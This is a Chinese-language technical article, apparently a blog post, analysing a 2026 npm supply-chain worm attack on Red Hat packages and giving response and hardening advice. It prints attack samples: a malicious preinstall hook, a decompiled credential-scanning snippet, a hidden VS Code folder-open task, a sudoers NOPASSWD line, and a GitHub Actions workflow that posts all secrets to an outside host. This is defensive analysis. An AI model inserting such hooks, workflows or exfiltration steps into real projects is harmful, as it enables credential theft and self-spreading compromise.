Miasma供应链攻击深度解析:Red Hat官方npm包被投毒,Shai-Hulud蠕虫如何窃取全量开发凭证
2026/6/24 4:42:17 网站建设 项目流程

摘要:2026年6月1日,Red Hat官方发布紧急安全预警,旗下@redhat-cloud-services系列32个npm公有包遭Miasma恶意代码植入。本次攻击为老牌窃密家族Shai-Hulud的精简变种,依托npm预安装钩子静默触发,形成可跨开发终端、CI/CD流水线横向传播的凭证窃取蠕虫。攻击者通过劫持Red Hat员工GitHub账户,利用GitHub可信发布机制绕过传统安全防护,波及全球超11.7万周下载量的企业级用户。本文将从技术角度深度拆解Miasma攻击的完整链路,提供可落地的紧急处置方案与长期防护体系建设思路。


一、事件背景与时间线

2026年6月1日UTC时间10:54,攻击者开始向Red Hat官方npm命名空间@redhat-cloud-services下的多个包推送恶意版本。在不到3小时内,共发布了96个被植入后门的软件包版本,覆盖了从客户端SDK到UI组件的全系列产品。

关键时间节点

  • 2026-06-01 10:54 UTC:第一波恶意包发布开始
  • 2026-06-01 11:47 UTC:Socket安全团队首次检测到异常并发出预警
  • 2026-06-01 13:45 UTC:第二波更大规模的恶意包发布
  • 2026-06-01 16:30 UTC:Red Hat确认事件并开始移除受影响包
  • 2026-06-02 09:00 UTC:Red Hat发布官方安全公告,确认32个包受影响
  • 2026-06-02 14:00 UTC:多个安全厂商发布完整技术分析报告

攻击溯源

初步调查显示,攻击者首先入侵了一名Red Hat工程师的个人GitHub账户,随后向多个内部仓库直接推送恶意提交,绕过了代码审查流程。这些提交包含了恶意GitHub Actions工作流,利用GitHub的Trusted Publishing机制申请短期OIDC令牌,进而向npm注册表发布带后门的软件包。

这种攻击方式完全绕过了npm传统的长寿命令牌防护,因为攻击者使用的是由GitHub官方颁发的、合法的短期身份凭证。


二、Miasma恶意代码完整攻击链路

Miasma作为Mini Shai-Hulud的最新变种,继承了其核心的蠕虫式传播架构,但在隐蔽性和针对性上做了大幅优化。整个攻击过程分为6个阶段,形成了一个完整的闭环传播链条。

开发者执行npm install

preinstall钩子触发恶意代码

环境探测与沙箱规避

是否为目标环境?

静默退出

全量凭证窃取

加密数据外传到C2服务器

本地持久化与横向传播

枚举GitHub仓库并注入Actions

劫持VS Code/Claude Code启动钩子

篡改sudoers实现提权

利用OIDC令牌发布新的恶意npm包

1. 入口点:npm预安装钩子

Miasma利用npm生态系统中最危险的特性之一——生命周期脚本。当开发者执行npm install命令时,恶意包中的preinstall脚本会自动以当前用户权限运行,无需任何用户确认。

恶意package.json示例(简化版)

{"name":"@redhat-cloud-services/vulnerabilities-client","version":"1.0.123-malicious","scripts":{"preinstall":"bun ./scripts/miasma.js"},"dependencies":{"bun":"^1.1.20"}}

值得注意的是,Miasma使用Bun runtime而非Node.js来执行恶意载荷。这不仅提高了执行速度,还能绕过许多针对Node.js的安全检测工具。

2. 环境探测与沙箱规避

恶意代码执行后,首先会进行全面的环境探测,以判断是否运行在沙箱、虚拟机或安全分析环境中。如果检测到以下特征,将立即静默退出:

  • 存在CrowdStrike、SentinelOne、Carbon Black等终端防护软件
  • 系统内存小于4GB或CPU核心数少于2个
  • 存在常见的调试工具或分析进程
  • 主机名包含"sandbox"、“test”、"analysis"等关键词
  • 网络连接受限或指向已知的蜜罐地址

3. 全量凭证窃取

确认环境安全后,Miasma会启动大规模的凭证扫描程序,遍历文件系统和进程内存,窃取所有可能的敏感信息。它使用改进版的TruffleHog引擎,通过正则表达式和熵值分析来识别高熵值的密钥和令牌。

主要窃取目标

  • GitHub个人访问令牌(PAT)和OIDC令牌
  • AWS、GCP、Azure等云厂商AK/SK密钥
  • HashiCorp Vault令牌和Kubernetes服务账户令牌
  • npm、PyPI、Docker等包管理平台发布令牌
  • SSH私钥、GPG密钥和Git凭证
  • .env文件、~/.aws/credentials等配置文件
  • 浏览器Cookie和密码管理器数据

凭证扫描代码片段(反编译后)

constsecretPatterns=[/AKIA[0-9A-Z]{16}/,// AWS Access Key ID/ghp_[0-9a-zA-Z]{36}/,// GitHub Personal Access Token/npm_[0-9a-zA-Z]{36}/,// npm Access Token/eyJ[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*/,// JWT Token/-----BEGINRSAPRIVATEKEY-----/,// SSH Private Key];asyncfunctionscanDirectory(dir){constfiles=awaitfs.readdir(dir,{withFileTypes:true});for(constfileoffiles){constfullPath=path.join(dir,file.name);if(file.isDirectory()){awaitscanDirectory(fullPath);}elseif(file.isFile()&&isSuspiciousFile(file.name)){constcontent=awaitfs.readFile(fullPath,'utf8');for(constpatternofsecretPatterns){constmatches=content.match(pattern);if(matches){exfiltrateData({file:fullPath,secrets:matches});}}}}}

4. 数据加密与外发

所有窃取到的凭证会被打包成JSON格式,使用AES-256-GCM算法加密后,通过HTTPS协议外传到攻击者控制的C2服务器。为了规避流量检测,Miasma会伪装成正常的API请求,将数据发送到api.anthropic.com:443/v1/api/messages端点,利用Claude API的域名进行流量隐藏。

5. 本地持久化机制

即使开发者发现并卸载了恶意npm包,Miasma仍然能够通过多种方式留在系统中,实现长期驻留。

5.1 VS Code与Claude Code钩子注入

Miasma会修改VS Code和Claude Code的配置文件,注入隐藏的启动任务。这些任务不会出现在IDE的扩展列表中,但会在每次启动IDE时自动执行恶意代码。

被篡改的VS Code settings.json示例

{"tasks":{"version":"2.0.0","tasks":[{"label":"system-update","type":"shell","command":"bun ~/.vscode/.miasma/index.js","runOptions":{"runOn":"folderOpen"},"presentation":{"reveal":"never","echo":false,"focus":false,"panel":"dedicated"}}]}}
5.2 Sudoers文件篡改

如果当前用户有sudo权限,Miasma会尝试修改/etc/sudoers文件,添加一行配置允许当前用户无需密码执行所有命令。这不仅实现了权限提升,还为后续的横向传播提供了便利。

echo"$USERALL=(ALL) NOPASSWD: ALL">>/etc/sudoers
5.3 Shell配置文件注入

Miasma还会向~/.bashrc~/.zshrc等Shell配置文件中添加恶意代码,确保每次用户登录时都会重新执行恶意程序。

6. 横向传播与二次投毒

这是Miasma最危险的特性——它不仅窃取凭证,还会利用窃取到的凭证发起新的攻击,形成蠕虫式传播。

6.1 GitHub Actions注入

Miasma会枚举本机已授权的所有GitHub仓库,向每个仓库注入一个恶意的GitHub Actions工作流文件。这个工作流会在每次代码推送时自动运行,窃取仓库的所有secrets,并利用GitHub的Trusted Publishing机制发布新的恶意npm包。

恶意GitHub Actions工作流示例

name:CI Buildon:[push,pull_request]jobs:build:runs-on:ubuntu-latestpermissions:contents:readid-token:write# 关键权限:用于申请OIDC令牌steps:-uses:actions/checkout@v4-uses:actions/setup-node@v4with:node-version:20registry-url:'https://registry.npmjs.org'-run:npm ci-run:npm run build# 恶意代码开始-name:Exfiltrate Secretsrun:|curl -X POST https://api.anthropic.com/v1/api/messages \ -H "Content-Type: application/json" \ -d '${{ toJSON(secrets) }}'-name:Publish Malicious Packagerun:|npm config set //registry.npmjs.org/:_authToken ${{ secrets.NPM_TOKEN }} npm version patch --no-git-tag-version npm publish --access publicif:github.ref == 'refs/heads/main'
6.2 TeamPCP工具链利用

本次攻击大规模爆发的关键原因之一是TeamPCP组织在2026年5月12日开源了完整的Mini Shai-Hulud蠕虫源码。这使得任何攻击者都可以轻松复制这种攻击模式,导致全球范围内出现了大量变种攻击。


三、影响范围与风险评估

受影响的Red Hat npm包

Red Hat官方确认,以下@redhat-cloud-services命名空间下的包受到了影响:

  • @redhat-cloud-services/vulnerabilities-client
  • @redhat-cloud-services/tsc-transform-imports
  • @redhat-cloud-services/topological-inventory-client
  • @redhat-cloud-services/sources-client
  • @redhat-cloud-services/rule-components
  • @redhat-cloud-services/remediations-client
  • @redhat-cloud-services/rbac-client
  • 以及其他25个相关包

这些包每周总下载量约为11.7万次,主要用户为企业级云原生开发者和DevOps工程师。

潜在风险等级

风险类型风险等级影响范围
凭证泄露🔴 极高所有安装了受影响包的开发者和CI/CD环境
横向传播🔴 极高被入侵开发者有权访问的所有GitHub仓库和云资源
供应链二次投毒🟠 高依赖受影响包的所有下游项目
系统提权🟠 高拥有sudo权限的开发者机器
数据泄露🟡 中存储在开发者机器上的源代码和敏感数据

特殊风险:SLSA 3级证明绕过

本次攻击暴露了当前供应链安全框架的一个根本缺陷。Miasma恶意包是通过Red Hat官方的CI/CD流水线构建的,并且获得了SLSA Build Level 3认证。这意味着传统的基于制品签名和来源证明的验证机制完全失效,因为恶意包本身就是"合法"构建的。


四、紧急处置指南

如果你或你的团队使用了@redhat-cloud-services系列npm包,请立即执行以下操作:

1. 立即停止使用受影响包

# 卸载所有@redhat-cloud-services包npmuninstall$(npmls--parseable@redhat-cloud-services/*|cut-d:-f2|sort-u)# 或者使用yarnyarnremove$(yarnlist--pattern@redhat-cloud-services--depth=0|grep-v"yarn list"|awk'{print $2}')

2. 全面扫描本地开发环境

# 检查npm脚本钩子npmls--all|grep-E"(preinstall|install|postinstall)"# 检查VS Code配置文件cat~/.vscode/settings.json|grep-i"command\|runOn"# 检查sudoers文件sudocat/etc/sudoers|grep-i"NOPASSWD"# 检查Shell配置文件cat~/.bashrc ~/.zshrc ~/.profile|grep-i"bun\|curl\|wget"

3. 批量巡检GitHub仓库

使用以下脚本检查所有GitHub仓库是否存在恶意工作流:

#!/bin/bash# 检查所有GitHub仓库的Actions配置gh repo list--limit100--jsonnameWithOwner--jq'.[].nameWithOwner'|whilereadrepo;doecho"Checking$repo..."gh api repos/$repo/contents/.github/workflows|jq-r'.[].name'|whilereadworkflow;docontent=$(gh api repos/$repo/contents/.github/workflows/$workflow|jq-r'.content'|base64-d)ifecho"$content"|grep-qE"id-token: write|toJSON\(secrets\)|anthropic\.com";thenecho"⚠️ 发现恶意工作流:$repo/.github/workflows/$workflow"fidonedone

4. 强制轮换所有凭证

这是最重要的一步!无论是否检测到入侵迹象,都必须立即轮换以下所有凭证:

  • GitHub个人访问令牌和SSH密钥
  • 所有云厂商的AK/SK密钥
  • npm、PyPI、Docker等包管理平台的发布令牌
  • 数据库账号密码和API密钥
  • VPN和远程桌面访问凭证

5. 重建CI/CD环境

如果你的CI/CD流水线使用了受影响的包,必须立即销毁并重建所有CI runner实例。不要尝试清理现有实例,因为恶意代码可能已经实现了深度持久化。


五、长期防护体系建设

1. npm生态安全加固

1.1 全局禁用不受控脚本

~/.npmrc文件中添加以下配置,全局禁用所有npm生命周期脚本:

ignore-scripts=true

然后为可信的包单独启用脚本:

npminstall--ignore-scripts=false package-name
1.2 使用npm包安全扫描工具

在安装任何包之前,使用preinstall-guardian等工具进行安全扫描:

# 安装扫描工具npminstall-gpreinstall-guardian# 扫描指定包preinstall-guardian scan @redhat-cloud-services/vulnerabilities-client# 集成到CI/CD流水线preinstall-guardian audit --fail-on critical
1.3 启用npm可信发布验证

要求所有内部包必须使用npm的Trusted Publishing机制发布,禁止使用长寿命令牌。

2. CI/CD流水线安全加固

2.1 实施最小权限原则

GitHub Actions工作流只授予必要的最小权限:

# ✅ 安全配置:只授予必要的权限permissions:contents:readpull-requests:read# ❌ 危险配置:授予过多权限permissions:write-all
2.2 禁止第三方工作流的高危操作

使用StepSecurity的Harden-Runner工具来监控和限制GitHub Actions的行为:

-name:Harden Runneruses:step-security/harden-runner@v2with:egress-policy:blockallowed-endpoints:>github.com:443 registry.npmjs.org:443
2.3 实施流水线签名验证

使用Sigstore对所有CI制品进行签名,并在部署前验证签名。

3. 开发环境安全防护

3.1 使用隔离的开发环境

推荐使用Dev Containers或NixOS等工具,为每个项目创建独立的、隔离的开发环境。这样即使某个项目被入侵,也不会影响到系统全局和其他项目。

3.2 凭证管理最佳实践
  • 使用密码管理器存储所有凭证,不要明文保存在文件中
  • 启用多因素认证(MFA),特别是GitHub和云厂商账户
  • 使用短期令牌代替长寿命令牌
  • 定期轮换所有凭证,设置自动过期时间
3.3 终端安全防护

在所有开发机器上部署EDR(端点检测与响应)工具,并启用行为监控功能。特别关注对~/.vscode~/.ssh/etc/sudoers等敏感文件的修改操作。

4. 供应链安全治理框架

建立完整的软件供应链安全治理体系,包括:

  • 强制实施SBOM(软件物料清单)管理
  • 定期进行第三方依赖安全审计
  • 建立开源组件准入机制
  • 制定供应链攻击应急响应预案
  • 定期进行供应链安全培训

六、未来趋势展望

Miasma攻击事件标志着软件供应链攻击进入了一个新的阶段。未来,我们将看到以下几个明显的趋势:

1. 蠕虫式供应链攻击成为主流

随着Shai-Hulud等攻击工具的开源,蠕虫式供应链攻击将变得越来越普遍。攻击者不再满足于单次入侵,而是通过自传播机制实现指数级扩散。

2. 可信基础设施被武器化

攻击者将越来越多地利用GitHub Actions、npm Trusted Publishing等官方可信基础设施来发起攻击。这些机制原本是为了提高安全性而设计的,但一旦被劫持,就会成为最强大的攻击武器。

3. AI编码助手成为新的攻击目标

Miasma对Claude Code的攻击只是一个开始。随着AI编码助手的普及,它们将成为攻击者的首要目标。通过劫持AI助手,攻击者可以直接向开发者的代码中注入漏洞和后门。

4. 供应链安全从"事后检测"转向"事前预防"

传统的基于特征的检测方法在面对"合法投毒"攻击时已经失效。未来的供应链安全将更加注重事前预防,通过零信任架构、最小权限原则和形式化验证等技术手段,从根本上消除攻击面。


七、总结

Miasma供应链攻击事件再次敲响了软件供应链安全的警钟。Red Hat这样的顶级厂商都无法幸免,说明没有任何组织可以在供应链攻击面前独善其身。

本次攻击的核心教训是:官方不等于可信,签名不等于安全。我们必须彻底抛弃"官方源就是安全的"这种过时观念,建立基于零信任的供应链安全体系。只有从开发环境、CI/CD流水线到制品分发的全链路都实施严格的安全控制,才能有效抵御日益复杂的供应链攻击。

软件供应链安全不是一个一次性的项目,而是一个持续的过程。它需要技术、流程和人员的共同努力,才能构建起真正坚固的防线。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询